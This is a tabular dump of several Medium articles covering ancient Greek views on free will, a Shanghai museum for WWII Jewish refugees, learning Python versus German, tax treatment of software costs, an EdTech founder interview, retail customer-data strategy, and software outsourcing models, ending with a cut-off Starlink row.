title
stringlengths 1
200
⌀ | text
stringlengths 10
100k
| url
stringlengths 32
885
| authors
stringlengths 2
392
| timestamp
stringlengths 19
32
⌀ | tags
stringlengths 6
263
|
|---|---|---|---|---|---|
The Ancient Philosophy of Free Will | Although the topic of free will was debated avidly among ancient philosophers, a direct reference to the term is difficult to find. Free will did not originate until much later. However, the schools of thought that underline free will; determinism, libertarianism, and compatibilism, have been formed for over 2000 years.
Before we start, it is useful to define the terms mentioned, as these form the basis of the philosophical debate of choice.
Determinism, the theory that all events, including moral choices, are determined by previously existing causes. This theory is based on the presumption that humans cannot act otherwise than they do.
the theory that all events, including moral choices, are determined by previously existing causes. This theory is based on the presumption that humans cannot act otherwise than they do. Libertarianism , in the context of free will, is the belief that free will is incompatible with causal determinism, and agents have free will. They, therefore, reject causal determinism.
, in the context of free will, is the belief that free will is incompatible with causal determinism, and agents have free will. They, therefore, reject causal determinism. Compatibilism is the belief that free will and determinism are mutually compatible and that it is possible to believe in both without being logically inconsistent.
Now that we understand the terminology within the philosophy of free will, we can explore the debate of choice in antiquity.
Plato — The Republic
Plato is perhaps most famous for his writing on justice, the just man, and the order and character of the just city-state. He summarises these writings in his Socratic dialogue — The Republic.
In Book IV of this dialogue, Plato describes, through Socrates, the various aspects of the human soul. He states that the wise person strives for ‘inner justice’. Plato believed that there is a constant battle with one’s base desires. To achieve inner justice, an individual must liberate themselves from these impulses by acquiring the virtues of wisdom, courage, and temperance. Once an individual has mastered one’s self, only then can that individual express free will.
While Plato never expressly mentions free will, we can presume this is his meaning with the mastery of one’s self, overcoming desires which prohibit our reasoned mind.
It would be reasonable to surmise that Plato believed in the possibility of free will, though only once certain conditions had been overcome. If one cannot overcome their base desires then one is left enslaved to their emotions, prohibiting their ability to make decisions freely. It is interesting that Plato separates these emotions from the self as if they were that of another disruptive being. It is this principle that stoicism, which we will revisit later in this article, is based on.
Aristotle — Nicomachean Ethics
While Aristotle holds value in the development of virtues, he does not agree with Plato that unless one achieves inner justice then they are a slave to themselves. While not having a definitive view on free will, he applies particular attention to the role of choice. These choices, over time, culminating in the development of habits.
Aristotle, in his Nicomachean Ethics, describes an individual as having the power to do or not to do. He believes we can act voluntarily, and the essence of these decisions lie within us.
Aristotle states that mature humans will deliberate about potential courses of action, and decide based on their personal experiences and beliefs. He proposes that individuals develop consistency in their decisions, either deciding consistently well or consistently poorly. From this, they develop into either a virtuous or vicious character, though at no point are they not in control of their decisions.
The Hellenistic era
In the subsequent years of the Hellenistic Era, concepts proposed by Plato and Aristotle were developed by the Epicureans, Stoics, and Academic Skeptics. The debates between these areas of thought dominated the era. Most notably, Stoics and Epicureans believed that the human soul was corporeal and adhered to natural laws and principles.
Zeno of Citium, the father of Stoicism, built on the causal chain, a principle originally postulated by Aristotle. Zeno believed that all events had a cause, given the same circumstances, the cause would always result in the same event.
It is impossible that the cause be present yet that of which it is the cause not obtain — Zeno of Citium
Uncomfortable with the restricted nature of this theory, Chrysippus, adapted it in such a way as to allow for freedom of will, attempting to unshackle the bonds of absolute determinism.
Chrysippus wanted to strengthen the argument for moral responsibility. While he accepted that the past is unchangeable, Chrysippus argued that future events do not occur from external factors alone, but may also depend on the individual. Importantly, Chrysippus argued that one can assent or not to act.
Essentially, Chrysippus believed that our actions are determined and fated. While these may seem by their very nature, mutually exclusive, it is qualified. The determined is made up, in part, of the self as a cause, and the fated being that of God’s foreknowledge. While he allows room for religious belief of the era within his theory, he reiterates that these actions are not necessitated — meaning they are not predetermined by a distant past. Many believe Chrysippus’ theory to be the earliest example of compatibilism.
I will not spend long discussing the theories of Epicurus as they lack detail and his meaning is still the matter of philosophical debate. Essentially, Epicurus and his followers believed that all things, including the human soul, were built from atoms. These atoms adhered to fixed rules restricting the behaviour of all objects made of such atoms.
Despite this, Epicurus opposed determinism. Epicurus proposed that these atoms were susceptible to ‘swerves’ from their usual path. It is this explanation that some have used as proof of Epicurus’ belief in free will, though there is a distinct lack of detail on the matter and to discuss further would be pure conjecture.
Alexander of Aphrodisias
The most famous ancient commentator of Aristotle’s philosophy, Alexander of Aphrodisias, wrote in the era of the Stoics, Epicureans, and Skeptics. He is viewed by many as the founder of the libertarian view on moral responsibility, otherwise known as libertarianism.
Alexander drew a delineation between Aristotle and the Stoics, believing that Aristotle was not a strict determinist, as were the Stoics. He argued that man is responsible for self-caused decisions and that events do not always have predetermined causes. He believed that man is capable of a choice whether or not to act, much like Chrysippus. However, Alexander rejected the concept of foreknowledge of events attributed to God. This foreknowledge is central to the Stoic identification of God and Nature and is a key differentiator between the schools of thought. | https://thedevdoctor.medium.com/an-ancient-view-of-free-will-79faeea7690e | ['Dr. Matt', 'Mbbs Bsc'] | 2019-08-14 15:14:32.120000+00:00 | ['Science', 'Choices', 'History', 'Ancient Greece', 'Philosophy'] |
Shanghai Jewish Refugees Museum | Shanghai Jewish Refugees Museum
It was a rainy night when I met with Mr. Duldner for the first time in his Upper East Side apartment. To my surprise, Mr. Duldner greeted me with my hometown dialect, Shanghainese. Witnessing my shock, he burst into a laugh. Mr. Duldner had lived in Shanghai for more than 10 years as a World War II refugee. His stories have intrigued me, especially since I have never known this part of history when I grew up in Shanghai. The Shanghai Jewish Refugees Museum attracted me immediately when I heard about it.
Shanghai Jewish Refugees Museum
The museum is located on 62 Changyang Rd, Hongkou District (上海市虹口区长阳路62号), in the north-east part of Shanghai residential area. Due to its small footprint and plain façade, the museum can be easily overlooked. It documents the lives of the Jewish refugees who escaped from Nazi occupied Europe during World War II. Mr. Duldner emigrated from Poland while his relatives who stayed in Poland perished during the war.
Museum entrance
The museum is made of a statue of Jewish refugee family at the entrance, a 3-story brick building, and two 1-story flats for the additional exhibition halls. One side of the wall is a striking monument that runs the length of the museum’s courtyard. It engraves the names of more than 13,000 Jews who took refuge in Shanghai during the war.
Statue of Jewish refugees
3-story brick building — Ohel Moshe Synagogue
Monument of 13,000 Jews refugeed in Shanghai during WWII
Ohel Moshe Synagogue
The 3-story brick building was the former Ohel Moshe Synagogue (摩西会堂). Over 20,000 Jewish refugees had worshiped there. The synagogue was confiscated by the communist government. In 2007, the synagogue was restored to its original architectural form based on the drawings in the archives, and it was then reopened as a museum to commemorate the Jewish refugees in World War II.
The downstairs area is a place of worship and it is opened to the visitors who can listen to a brief introduction of the museum. The upstairs, however, are closed to the public. They are devoted to the special occasions that require pre-arrangement.
The resorted Ohel Moshe Synagogue worship area
Exhibition Halls
Two additional exhibition halls are at the back of the courtyard. “S[s]mall collection of artifacts” includes hundreds of documents, copies of “Shanghai Jewish Chronicle” newspaper, photographs, films, artworks, and personal items that chronologically depict tens of thousands Jewish refugees who fled Nazi occupied Europe and their life in Shanghai during the war.
“Fleeing to Shanghai”
In the 1930s, Nazi encouraged German and Austrian Jews to emigrate, but most countries closed their borders to them. Many European Jews were able to flee from the fate of Holocaust with the help of Mr. Ho Feng-Shan (何鳳山 or 何凤山), who was the consul-general of Republic of China in Vienna during World War II. He issued travel papers to thousands of Jews by disobeying the instruction of his superiors. He risked his career to save “perhaps tens of thousands”. Mr. Ho was well recognized as the “Schindler of China”.
“Fleeing to Shanghai” depicts Jewish refugees’ journey and their passports and travel documents
Statue of Mr. Ho Feng-Shan in the museum courtyard
“Hongkou Ghetto”
After the Pearl Harbor attack, Japan invaded Shanghai’s foreign concessions and occupied the entire city. The Japanese imposed restrictions on the Jews and established the Restricted Sector for Stateless Refugees in the Hongkou district, known as Shanghai Ghetto or Hongkou Ghetto, in 1943.
“Hongkou Ghetto” depicts Jewish refugees’ life, and their travel restrictions during the Japanese occupation
Other Memorable Artifacts
A stone wall inscribed the words from former Israel Prime Minister Yitzhak Rabin, while visiting the former Ohel Moshe Synagogue in 1993: “To the People of Shanghai for unique humanitarian act of saving thousands of Jews during the Second World War thanks in the name of the government of Israel”
Former Israeli Prime Minister Yitzhak Rabin’s inscription
“Affectionate Neighborhood” depicts connection between Jewish refugees and their Shanghainese neighbors
For years, I was deeply moved by Mr. Duldner’s affection when he described his Shanghainese neighbors who hosted and helped him. Some Jewish refugees, Mr. Duldner included, were attached to Shanghai and they stayed under the communist government after 1949. Then, the political environment changed. Mr. Duldner immigrated to United States in early 1950s and became a successful businessman. For years, Mr. Duldner contributed both financially and laboriously to document the Jewish refugee experiences in World War II. I would never forget his deep affection to his “second hometown”, Shanghai.
Shanghai Jewish Refugees Museum 上海犹太难民纪念馆 was reopened after the expansion in December 2020. I look forward visiting the renovated museum again. | https://medium.com/@george-xu-69197/shanghai-jewish-refugees-museum-dde8b0a811cb | ['George Xu'] | 2020-12-23 18:02:54.980000+00:00 | ['Jewish Refugees', 'World War II', 'Museums', 'Shanghai'] |
Is Learning a Programming Language like Learning a Foreign Language? | Is Learning a Programming Language like Learning a Foreign Language? Sam Apr 25·5 min read
Photo by Jexo on Unsplash
Every day you will use applications and websites which run code from a variety of programming languages. From the device you are reading this article on to the satellites orbiting us, code is everywhere, and its importance is growing.
As someone who studied German rather than computer or data science, I found the use of the word ‘language’ in combination with computers interesting. When I started learning Python, I asked myself whether learning a programming language would be like learning a foreign language. Six months into learning Python- and with much still to learn- here are some initial thoughts.
Similarities:
· Learning both types of languages changes how you think. A foreign language is like a unique toolbox. Whilst German and English are part of the same language family- and therefore have many similarities- they have different ways of expressing ideas and different sayings.
Programming languages are also like toolboxes and just like foreign languages they too can be grouped into families. Learning a programming language challenges you to think differently in another way as it forces you to work from first principles and think in decision trees. Faulty logic or assumptions inevitably result in dreaded error messages.
· The learning curve feels similar. When you start learning both types of languages you experience a surge in motivation. Yesterday you could not say ‘I live in England’ or code ‘Hello World!’ but today you can! The sense of progress is electrifying but inevitably you quickly run into difficulties. You think ‘how will I ever learn this language?’ and begin to despair. You look online and see people who are much better than you and you feel a growing temptation to quit. The key with learning both types of languages is to keep going, focus on the next step and trust you will get there in the end.
· Once you have learnt one language it is easier to learn other languages (especially those which are closely related). When you learn a foreign language, you are not just learning the language but also the underlying grammatical structures. These are often similar in other languages which makes learning further languages easier.
I have only learnt Python to date but I am reliably told once you have learnt one programming language it is much easier to learn others (even more so than with foreign languages). Even after six months of learning Python I can look at other programming languages and sometimes piece together what is going on.
Cologne’s iconic cathedral, Germany. Photo by emrecan arık on Unsplash
Differences
· You can already speak a language. This may seem obvious, but it is important. When learning a foreign language, you are already fluent in your native language so you understand how you can use language to express yourself. If you are confronted with a situation abroad- such as wanting to order food-you will likely know what you want to say even if you do not know how to say it. The challenge to start with is generally one of translation.
When you learn your first programming language you do not have the same reference point which puts you a step further back. For instance, you might not even know what your code needs to do to solve a particular problem. As such a key part of the learning process is learning how to think your way around a problem before you even touch the keyboard; this often requires you to think algorithmically which many of us do not do on a regular basis (at least not consciously).
· You can test your code easily. When you learn a foreign language, it is often difficult to know if you have made a mistake unless it is amusing, and people laugh. People think they are being polite by not correcting you, but their politeness slows your improvement.
Programming IDEs and compilers do not care for your feelings and that lack of politeness is incredibly helpful. Getting instant feedback on your code allows you to quickly test ideas, which is both helpful and fun.
· When learning a programming language you need to know less off by heart, but your foundational knowledge needs to be better. To converse fluently in a foreign language you must know lots of vocabulary and different grammar structures off by heart. Coding is different as you have less time pressure. This means you can look things up in the documentation or see how other people have approached similar problems before.
When starting a foreign language, you can — and people frequently do- neglect grammar and focus on learning vocabulary and phrases. Whilst this is not an advisable approach- as it will haunt you later- it is understandable as minor grammatical errors rarely stop you from being understood. With a programming language the ‘grammar’ element is critical. For example, forgetting a semi-colon may result in hundreds of lines of code returning an error message. For this reason, it is vital you gain a firm grasp of the basics.
· Programming languages only have one tense, the simple present. Spoken languages have a variety of different past, present and future tenses whilst programming languages just have the simple present tense. Programming languages do, however, make heavier use of the conditional tense than spoken languages (e.g. if x condition is met do y).
There are many other notable differences between foreign languages and programming languages which have not been covered here. Let me know in the comments if you think there is value in comparing the two types of languages and, if so, what do you find the most interesting differences?
Notes:
*Language families are groups of languages related through descent from a common ancestral language or parental language. Both English and German are members of the Germanic family. English has more in common with German than say a Sino-Tibetan language such as Chinese. Programming languages also have analogous language families.
**First principles thinking is breaking down complicated problems into their most basic elements before reassembling them from the ground up. Elon Musk is a famous proponent of first principle thinking.
***It is sometimes impossible to completely translate or interpret from one language to another. The example provided ignores this for the sake of simplicity and because, when you begin learning a language, the focus is on the literal meaning rather than the subtleties of the language. | https://medium.com/@averagecoder/is-learning-a-programming-language-like-learning-a-foreign-language-bcb5651a2fe0 | [] | 2021-07-10 14:49:25.615000+00:00 | ['Learning To Code', 'Language Learning', 'Python', 'Code', 'Programming Languages'] |
Tax Rules for Deducting the Computer Software Costs of Your Business | Learn about the rules that determine the tax treatment of the expenses of buying, leasing, or developing software.
Discover the definition of “purchased software” and how to treat it tax-wise.
Find out more about the tax rules around leased software.
What are the rules regarding software developed by your business?
Do you buy or lease computer software to use in your business? Do you develop computer software for use in your business, or for sale or lease to others? Fiducial has the scoop on the complex rules that apply to determining the tax treatment of computer software costs, whether buying, leasing, or developing.
Purchased software costs
The IRS deems some software costs to be the costs of “purchased” software, meaning software that’s either:
Non-customized software available to the general public under a non-exclusive license or
Acquired from a contractor at economic risk should the software not perform.
You may deduct the entire cost of purchased software in the year you place it into service. The cases in which the costs are ineligible for this immediate write-off are the few instances in which 100% bonus depreciation or Section 179 small business expensing isn’t allowed or when a taxpayer has elected out of 100% bonus depreciation and hasn’t made the election to apply Sec. 179 expensing. In those cases, you must amortize the costs over the three-year period. This period begins with the month in which you place the software in service. Note that the bonus depreciation rate will begin to be phased down for property placed in service after calendar year 2022.
If you buy the software as part of a hardware purchase in which the price of the software isn’t separately stated, you must treat the software cost as part of the hardware cost. Therefore, you must depreciate the software under the same method and over the same period of years that you depreciate the hardware. Also, if you buy the software as part of your purchase of all or a substantial part of a business, generally, you must amortize the software over 15 years.
Leased software costs
You must deduct amounts you pay to rent leased software in the tax year you pay them, if you’re a cash-method taxpayer, or the tax year for which the rentals are accrued, if you’re an accrual-method taxpayer. However, deductions aren’t generally permitted before the years to which the rentals are allocable. Also, if a lease involves total rentals of more than $250,000, special rules may apply.
Software developed by your business
Some software is deemed to be “developed” (designed in-house or by a contractor who isn’t at risk if the software doesn’t perform). For tax years beginning before calendar year 2022, bonus depreciation applies to developed software to the extent described above. If bonus depreciation doesn’t apply, the taxpayer can do one of two things. They can deduct the development costs in the year paid or incurred; or alternatively, they can choose one of several other amortization periods over which to deduct the costs. For tax years beginning after calendar year 2021, generally, you may only amortize the costs over the five-year period. This period begins with the midpoint of the tax year in which you pay or incur the expenditures.
If following any of the above rules requires you to change your treatment of software costs, you will need to get IRS consent to the change.
Contact us
Need help applying the tax rules for treating computer software costs? Call Fiducial at 1–866-FIDUCIAL or make an appointment at one of our office locations. Ready to book an appointment now? Click here. Know someone who might need our services? We love referrals!
For more small business COVID-19 resources, visit Fiducial’s Coronavirus Update Center to find information on SBA loans, tax updates, the Paycheck Protection Program, paid sick and family leave, and more. | https://medium.com/@fiducial/tax-rules-for-deducting-the-computer-software-costs-of-your-business-2f39a6a18427 | ['Fiducial North America'] | 2020-12-16 14:00:29.535000+00:00 | ['Tax Central', 'Taxes', 'Irs', 'For Business', 'Tax Deductions'] |
“Focus on your strengths, and get the right people around you to do the rest.” ; Interview with Dr. Melody Lang | “Focus on your strengths, and get the right people around you to do the rest.” ; Interview with Dr. Melody Lang SuperCharger Ventures Jun 8·3 min read
This interview is part of the EdTech Female Founder (#EFF) story series brought to you by SuperCharger Ventures.
What inspired you to start your EdTech Founder journey?
Having been an operator, investor and advisor in EdTech, I realised that what I enjoyed the most was being hands on. So when Josh offered to join as cofounder, it seemed like the right thing to do!
Describe your company in one sentence
Mindstone is a revolutionary platform helping you learn faster, remember more and get things done.
What should an aspiring EdTech founder know before initiating their startup journey?
The EdTech industry is very complex due to the number of different stakeholders. Often, the end customer is not the end user. Beware whom you’re selling to: sales cycles are long when selling to institutions, and don’t forget that governments change (ie your contract may come to an end with a new election). Lastly, ask yourself whether a teenager would easily ask their parents for money to learn when they already need some for other things… Focus on your strengths, and get the right people around you to do the rest.
What has been the most difficult moment as a founder and how did you overcome it?
With only one year behind us, we probably haven’t encountered such difficult moments yet. But if I had to pick a challenge, it would be around team building: making the right hires and knowing when it’s not working out. I’m grateful for my cofounder who is taking a lot of that responsibility, as it’s always uncomfortable to let someone go. To overcome this, we have a 30/60/90 day plan with clear expectations and weekly reviews, so that it never comes as a surprise to the team member if he/she doesn’t reach these expectations. We’re giving everybody a chance to develop and grow.
What can the EdTech industry do to improve the gender gap?
The EdTech industry? or the VCs? Female founders can certainly be coached, but so should investors to get rid of biases and the weight of patriarchy. I would also recommend to promote heavily the Global Equality Collective: https://thegec.org/, as it’s from birth that we should aim to raise our children in a gender neutral environment. This is what will empower them later on, and shape a world with a minimised gender gap across the board.
Can you tell us about a role model of yours?
Arianna Huffington has such an impressive career. The way she handled and shared the learnings she got from her burnout will hopefully inspire many ambitious professional women in the world. Somehow, I feel that my life mission is very much aligned with the one she set for Thrive Global: help people bring positive changes into their lives.
Can you share an example of when you had to pivot?
As a corollary of Covid and lockdown, we decided to focus on Higher Education students in stage 1 when originally, Mindstone at that stage was aimed at professionals in knowledge-heavy industries.
What will you consider as success in 5 years from now?
In 5 years from now, my sons will be 18 and 15 years old. So I would consider a success for them to be healthy balanced fulfilled young men. On the professional front, I would consider a success to have millions of empowered learners on Mindstone who can easily upskill or reskill themselves, not only to stay relevant to the fast-pacing workplace, but also to find purpose and thrive.
Looking back, what advice would you have liked to have received before starting your company? | https://medium.com/@superchargerventures/focus-on-your-strengths-and-get-the-right-people-around-you-to-do-the-rest-e5f5e2a59378 | ['Supercharger Ventures'] | 2021-06-08 18:37:01.694000+00:00 | ['Edtech', 'Founder Stories', 'Founders', 'Eff', 'Startup'] |
Embrace the Blur to Bring Customers Back into Focus | By: Heather Roth, and Logan Patterson
The swift changes necessary to adapt in 2020 brought to light the growing need to pivot from an omnichannel back to a customer-centric approach. Retail leaders are already calling for a shift from the omnichannel perspective. Instead, they are considering the customer as the channel. In doing so, retail companies are looking to “embrace the blur.”
The convergence of digital natives with brick-and-mortar
The ethos of omnichannel at the start was simple — find more ways to adapt to customer searching and shopping habits by opening new and creative ways to get the brand and product in front of buyers.
Digitally native companies like Warby Parker, Casper, and Bonobos built branded storefronts or inked partnerships with brick-and-mortar retailers to meet more of their customers where they were and offer a full spectrum of channel options aligned with the brand. In contrast, brick-and-mortar retailers extended their brands through new online channels to keep pace with the growing number of digital retailers.
These moves followed the perceived and now proven ROI of making products available in multiple channels. Data shows that customers using multiple shipping and shopping channels tend to spend 4% more in brick-and-mortar locations and 10% more at online stores.
There can be too much of a good thing
Following the initial success of taking an omnichannel approach, companies enhanced their channel strategy to get in front of as many eyes, and in as many ways, as possible.
Yet as customers became more digitally savvy, expectations of high-quality, differentiated experiences across channels soared. In response, the number of Marketing Technology vendors (currently over 8,000 MarTech solutions) promising to collect, connect, and activate customer data, soared. Efforts in big data and the concept of a “Customer 360” has rarely provided any utility to the consumer at all. In fact, these efforts commonly led to a focus on processing high volumes of transactional data across channels and were often managed in silos. In other words, while there were many early wins, today’s omnichannel approach causes strain on retailers’ data collection-to-activation journey in many areas, including:
The lengthy, iterative, ‘test and learn’ mentality required for success;
Unnecessary silos resulting in slow response to changes in buying behavior, supply chain, and operations;
Digital fatigue and the changing customer desire for differentiated in-person and on-line experiences;
Lower than expected marketing performance from loyalty programs;
Adaptation to new and ever-changing privacy laws.
This leaves many retailers looking for answers about evolving their customer journeys and investing time, effort, and resources accordingly.
Putting the customer back at the center of retail
Retailers are increasingly blurring the lines between physical and digital and working toward letting the customer own their journey. This change to the “customer as the channel” approach will require a monumental shift in how the organization thinks about and uses customer data and how the organization is structured.
Key areas of attention to create customer focus
Rethinking performance metrics: A company’s culture is often dictated by the metrics that they use to run their days. Earlier omnichannel initiatives created performance-focused cultures, driven by clicks, conversions, and ROI. The new customer-focused model requires a shift to Return on Experience (RoX), bringing in data across the entire experience to monitor how other touch points drive outcomes. These data sources may include support data, digital behavioral data, social and review data, traditional Voice of Customer (VoC) data and customer support data.
Focusing on different outcome metrics will be critical for shifting the way companies think about performance. Adding or increasing attention on metrics such as customer retention, customer lifetime value, referrals, issue incidence, and time to resolution can transform how internal teams work together and focus on delivering for the customer.
Creating a customer-centered data unification strategy and taking an agile approach to data modeling: Shifting to an RoX model requires understanding customer personas, the customer journey, and the associated data collection points currently available. These data sources are critical to understanding behaviors, attitudes, or outcomes that drive RoX calculations.
The good news: many retailers already have much of the required customer data needed to build out a customer-centered model. Shifting to an experience-led strategy does not mean retailers have to rebuild their data models completely before transitioning to an RoX focus. Instead, retailers must focus on building a flexible model that starts to align existing data to the customer journeys so they can mobilize around the customer while they create backlogs for future data enrichment through integrations and other collection channels.
Building a flexible data infrastructure as agile as your customer’s behavior: Looking at the customer as the channel requires a more detailed and dynamic view of that customer, supported by holistic, unified, and democratized data. As digital channels took root, the data problem quickly shifted from one of scarcity to one of quality and accuracy, all while being efficient, real-time, and aligned with global/local privacy law. To meet all these criteria, organizations looked to technology to solve the problem before streamlining the underlying data collection-to-activation process. By taking a step back, identifying data sources, integration requirements, and the activation vision, a robust data strategy can be created and often unify the, historically, siloed organizations.
Operationalizing the customer through your people, process, and technology strategies: Companies can re-adjust technology, data models, and measurement, but the channel mindset will likely be challenging to abandon after a decade of working within these bounds. Business model and organizational transformation are critical components to successfully implementing updated data and cloud technologies. Defining the vision and gaining senior leader alignment and advocacy before telling the organization “what’s in it for them” are precursors to unlocking the potential benefits of such a change. To ensure success, it is as important to focus on change management and sufficient education and training of those responsible for implementation and execution as it is to focus on the technology needed.
Business transformation is needed to embrace customer as a channel
Strategic Execution: Leaders need to focus on building a Modern Culture of Data, where data guides every person at every level of your organization. Leading with experience-focused outcomes will be critical. Even more critical will be making data easily available and aligning these outcomes into employee KPIs to create data literacy and help employees connect their work to the overall outcomes.
People & Culture: Retailers need to rethink the channel focus of their organization structure to “embrace the blur” and focus teams on understanding the full journey experience of their customers versus a single marketing channel or domain of the journey. This requires a shift away from channel conversion rates, and more to metrics that monitor ease, relevance, trust, loyalty, and experience outcomes. It also means more horizontal organizational structures, rather than the traditional verticals.
Process: A shift towards a customer-focused retail model requires changes in supply chain strategies, delivery and warehousing, product planning, sales strategies — and all teams need to be looking at the same data story for this change to work. It is critical to ensure that the people, processes, and training are well thought out during implementation to ensure the success of the new technology and data approach.
Technology: Organizations will likely need to take a multi-pronged approach to implementing technology in order to make the most of the investment today and build on it in the future. Depending on where a company is in its data maturity, it might start with migrating data to the cloud and retiring outdated on-premises machines or creating new applications to utilize the data and technology available fully. When making these critical investments, organizations must ensure the return is directly connected to, and in support of, the strategy of putting the customer first, not solely concentrating on the technology.
The value of Google Cloud for retailers
When we think about our online experience, Google is ubiquitous with researching, discovering, and interacting with brands. Many of us start our journey with a Google Search, move over to Google Shopping to compare prices or perhaps turn to Google Maps to find the nearest store to make a purchase. When it comes to our online experience, Google’s broader ecosystem influences many of our decisions.
Google has invested heavily in its products and services to make it easier for retailers to drive tangible results. Of particular note, through Google Cloud Platform, the organization democratizes the ability of retailers to leverage the industry-leading technology that underpins many of Google’s leading consumer products.
If this wasn’t compelling enough — Google recently made accessible their top Search data as a new dataset in BigQuery. This data can be drilled down to the city-level. Now, more than before, retailers of all shapes and sizes can leverage Google’s streaming data analytics offerings to drive business insights in real time from in-store displays to refining campaigns in response to what customers are looking for. As Slalom has demonstrated with DSW, this can translate to informing real-time interaction with their 26 million loyalty customers.
Our experience has shown that customers need to partner with vendors who can future proof their technical investments. This constant focus on innovation is a key reason why Google Cloud was assessed to be the top cloud vendor for retail worldwide and we believe they represent an industry leader, particularly when it comes to industry solutions for retail.
Conclusion
In today’s environment, the promises of customer-centric, data-driven retailing are more of a reality than ever before. Still, they are reliant on a relentless effort to make an organization’s vision come true. From data collection to team organization and the technology required for execution, putting the customer first by leveraging rich insights is a journey and must be treated as such. Retailers can become savvy technology companies but cannot do it alone. Teaming with partners such as Google Cloud and Slalom can put your company one step ahead of the rest and ensure swift and successful adoption and lasting results.
To find out more, download our article on customer data strategy.
Resources
About the authors:
Heather is a Director in Slalom’s Global Customer & Digital Strategy team, with over a decade of experience in customer data strategy, marketing analytics, and experience technology transformation.
Logan is a Director in Slalom’s Global Customer & Digital Strategy team, a subject matter expert in Retail & Consumer Products, and has over a decade of experience in marketing, sales, and digital strategy & transformation. | https://medium.com/slalom-technology/embrace-the-blur-to-bring-customers-back-into-focus-466d8a0da600 | ['Logan Patterson'] | 2021-08-24 12:35:59.715000+00:00 | ['Customer Data Platform', 'Retail Technology', 'Bigquery', 'Google Cloud Platform'] |
Software Outsourcing Process And Models for Successful Project Completion | Software Outsourcing Process And Models for Successful Project Completion
Software development outsourcing offers many positive outcomes and helps you save money and time. Let’s see the models and processes for outsourcing your software development project before completion. Vijay Khatri Follow Dec 13, 2021 · 6 min read
The software outsourcing process commences when a business is facing certain limitations and decides to employ a third party to carry out the work on its behalf. Outsourcing software development projects to a trusted development partner enables you to get acquainted with top-notch web, mobile, and other software products.
Not only that, outsourcing offers several benefits and other positives that enterprises and individual software developers can experience. So, if employing trusted third-party software developers resonates with you, here’s a step by step procedure for outsourcing software development projects:
Software Development Outsourcing Process
The following guide helps you navigate through your outsourcing journey for hiring a reliable outsourcing partner.
1. Defining Your Expectations and Goals
Without clear and concise goals and expectations, the outsourcing team would find it difficult to comprehend the software development project. Thus, the first step before you do anything is to prepare a detailed project outline, what features to include, technology to use, and a timeline for completion.
Include your internal team or even the people you know from your business relations if possible for a brainstorming session. This would help you ensure your software development projects sound interesting and achievable.
2. Devise Scope of Work
Preparing the scope of work is the next step in the process of outsourcing software development. It does not make sense to reach out to a software outsourcing partner without any documentation that clearly outlines the objective and scope of work.
Devising such documents would require things such as product specification documents, plans, budget estimates, system admin documents, and other reports. These are just the tip of the iceberg, there’s a whole bunch of things needed depending on the type of the project.
3. Research & Find Reliable Software Development Partner
Finding a trusted and reliable software outsourcing partner is a tough nut to crack. The right software development agency is decided based on the project requirements, goals, and scope of work.
The first thing you should do is get references from your team, colleagues, business partners, or just google it. Also, there are various company comparisons and review sites such as clutch to find a reliable outsourcing company.
Shortlist some of the agencies and filter out to find the best and reliable one to do the job. To shortlist companies, you’d have to do a bit of research first, which can be a tedious task but have huge implications on your software development project.
There are certain ways to research and find the best outsourcing agencies such as checking out their portfolio, reviews/testimonials from past clients, years of experience, etc.
4. Contacting the Outsourcing Partner
The first interaction with the agency of your choice is going to be crucial. You can approach more than one agency with similar interests and conduct an interview with them to get an idea if they are experts in their field or not.
Schedule a video interview or a phone call to establish a personal relationship. Here are a few things you should discuss while on a call with the outsourcing agency:
Ask about their process, past experience, and technical skills for completing the project.
Set out your goals and expectations from the start.
Discuss about their prior projects, what problems they had, and how they resolved them.
Find out the team size and who’ll work on your project, who will be the point of contact, etc.
Discuss the budget, time scale, and other important aspects of the project.
Invite the outsourcing partners of your choice and get to know them for better understanding and relationship.
Models for Software Outsourcing Project
Most sophisticated software development agencies have their own standards which they follow for efficient work. Knowing such standards and models of work during the interview process would be imperative.
Also, it’s a subtle way to let others know and look more professional while explaining the outsourcing models. Here are the software outsourcing models mostly in use:
1. Staff Augmentation Model
One of the simplest models of outsourcing, the staff augmentation model is where the software development tasks are carried out by the outsourcing team. In simple terms, it’s like leasing a team of experts from other agencies, be it onshore or offshore, and providing them tasks to work upon and complete the project.
It sounds similar to an offshore development center where you set up a whole team of experts to carry out your software development project.
Also known as team augmentation, this outsourcing model enables your in-house team to maximize development efficiency while retaining control over the project. Aspects like defining the work process, managing the project to work on, etc. are controlled by the client.
2. Dedicated/Managed Team Model
A dedicated or managed team outsourcing model is where you outsource your software development project to a dedicated team of experts. Here. you’ll get a team of developers to work and complete certain tasks and project delivery pipeline.
Also, you’ll have direct access to the team leaders and project managers that take care of the software delivery schedule to ensure the project stays on track.
The client is still in control of making software development decisions and can control projects individually. However, they can pass on a great deal of decision-making to the outsourcing providers in cases where a software product is required to be maintained.
3. Project-Based Outsourcing Model
In the project-based outsourcing model, your only concern is the result which is the software product and not the means behind it. Here, your development partner looks after and manages the entire software development process as per the specifications and requirements provided prior to project commencement.
The client hands off the requirements to the outsourcing partner, who is responsible for developing and delivering the final product. Although the client has the least amount of control, they still can have some oversight to ensure that the product quality remains intact.
Software Outsourcing for Successful Project Completion
Software outsourcing models help you get started with your journey to software development. Once you have established who’ll have more control over project decisions, you must tick off the following things for successful completion.
Straighten out who’s gonna provide the technical support when and if there arise any out-of-scope issues.
Know yours as well as the outsourcing provider’s limitations of doing certain things. And since you have mutually understood who’s in control, distribute and assign tasks to particular team members. Figure out what they are best at and what needs improvement.
The last thing is to have some faith and trust in the outsourcing team of your choice. You don’t always have to lean on their shoulders considering they know what they are doing and that’s why they have been recruited.
Final Words
Outsourcing software development has countless positive outcomes for your business. It saves money and time and also enables you to get high-quality solutions from a team of experts. Now the only thing between you and an outsourcing software project is choosing the model that suits your requirements best.
Also, through the steps listed in the outsourcing process above, you must first define your goals, requirements, the scope of work, etc. before finding and reaching out to a reliable outsourcing partner.
Speaking of the same, Ashutec Solutions Pvt Ltd. is a reliable outsourcing services provider trusted by many small to large enterprises. Our experienced and adept team of professionals is ready to serve you and offer you unique, scalable, and maintainable software and product development solutions.
Contact us today or write to us at connect@ashutec.com for more discussion on the topic. Also, follow ashutec for reading more such articles. | https://blogs.ashutec.com/software-outsourcing-process-and-models-for-successful-project-completion-72b5248b553e | ['Vijay Khatri'] | 2021-12-13 05:14:20.526000+00:00 | ['Technology', 'Software Development', 'Outsourcing Services', 'Outsourcing', 'Outsourcing Company India'] |
Starlink Just Launched in Canada, or How Elon Musks Plans to Take Over the World | What is Starlink, and How Did It Become a Reality?
